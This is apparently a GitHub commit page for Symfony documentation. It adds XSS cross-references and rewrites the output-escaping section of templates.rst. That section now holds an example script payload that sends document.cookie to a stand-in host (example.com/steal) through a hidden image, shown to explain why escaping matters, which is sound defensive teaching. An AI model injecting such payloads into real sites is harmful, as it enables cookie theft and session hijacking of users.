Skip to content

Commit 3c6433d

Browse files
committed
Merge branch '7.0' into 7.1
* 7.0: Update more references to XSS attacks [Security] Update login_link.rst Add a better example of the dangers of XSS attacks
2 parents 3a414cf + 4320922 commit 3c6433d

File tree

7 files changed

+25
-15
lines changed

7 files changed

+25
-15
lines changed

html_sanitizer.rst

+2-2
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,8 @@ that the returned HTML is very predictable (it only contains allowed
1111
elements), but it does not work well with badly formatted input (e.g.
1212
invalid HTML). The sanitizer is targeted for two use cases:
1313

14-
* Preventing security attacks based on XSS or other technologies relying on
15-
execution of malicious code on the visitors browsers;
14+
* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
15+
relying on the execution of malicious code on the visitors browsers;
1616
* Generating HTML that always respects a certain format (only certain
1717
tags, attributes, hosts, etc.) to be able to consistently style the
1818
resulting output with CSS. This also protects your application against

reference/configuration/framework.rst

+1-1
Original file line numberDiff line numberDiff line change
@@ -1804,7 +1804,7 @@ cookie_httponly
18041804
This determines whether cookies should only be accessible through the HTTP
18051805
protocol. This means that the cookie won't be accessible by scripting
18061806
languages, such as JavaScript. This setting can effectively help to reduce
1807-
identity theft through XSS attacks.
1807+
identity theft through :ref:`XSS attacks <xss-attacks>`.
18081808

18091809
gc_divisor
18101810
..........

reference/configuration/twig.rst

+2-2
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,8 @@ autoescape_service
3838

3939
**type**: ``string`` **default**: ``null``
4040

41-
The escaping strategy applied by default to the template is determined during
42-
compilation time based on the filename of the template. This means for example
41+
The escaping strategy applied by default to the template (to prevent :ref:`XSS attacks <xss-attacks>`)
42+
is determined during compilation time based on the filename of the template. This means for example
4343
that the contents of a ``*.html.twig`` template are escaped for HTML and the
4444
contents of ``*.js.twig`` are escaped for JavaScript.
4545

reference/forms/types/options/sanitize_html.rst.inc

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ sanitize_html
55

66
When ``true``, the text input will be sanitized using the
77
:doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
8-
submitted. This protects the form input against XSS, clickjacking and CSS
8+
submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS
99
injection.
1010

1111
.. note::

reference/forms/types/textarea.rst

+1-1
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element.
2222
.. caution::
2323

2424
When allowing users to type HTML code in the textarea (or using a
25-
WYSIWYG) editor, the application is vulnerable to XSS injection,
25+
WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
2626
clickjacking or CSS injection. Use the `sanitize_html`_ option to
2727
protect against these types of attacks.
2828

security/login_link.rst

+2
Original file line numberDiff line numberDiff line change
@@ -279,6 +279,8 @@ This will send an email like this to the user:
279279
// src/Notifier/CustomLoginLinkNotification
280280
namespace App\Notifier;
281281

282+
use Symfony\Component\Notifier\Message\EmailMessage;
283+
use Symfony\Component\Notifier\Recipient\EmailRecipientInterface;
282284
use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
283285

284286
class CustomLoginLinkNotification extends LoginLinkNotification

templates.rst

+16-8
Original file line numberDiff line numberDiff line change
@@ -1285,17 +1285,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
12851285
Read the `Twig template inheritance`_ docs to learn more about how to reuse
12861286
parent block contents when overriding templates and other advanced features.
12871287

1288-
Output Escaping
1289-
---------------
1288+
.. _output-escaping:
1289+
.. _xss-attacks:
1290+
1291+
Output Escaping and XSS Attacks
1292+
-------------------------------
12901293

12911294
Imagine that your template includes the ``Hello {{ name }}`` code to display the
1292-
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
1293-
their name and you output that value unchanged, the application will display a
1294-
JavaScript popup window.
1295+
user name and a malicious user sets the following as their name:
1296+
1297+
.. code-block:: html
1298+
1299+
My Name
1300+
<script type="text/javascript">
1301+
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
1302+
</script>
12951303

1296-
This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
1297-
example seems harmless, the attacker could write more advanced JavaScript code
1298-
to perform malicious actions.
1304+
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
1305+
so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
1306+
or XSS attack.
12991307

13001308
To prevent this attack, use *"output escaping"* to transform the characters
13011309
which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

0 commit comments

Comments
 (0)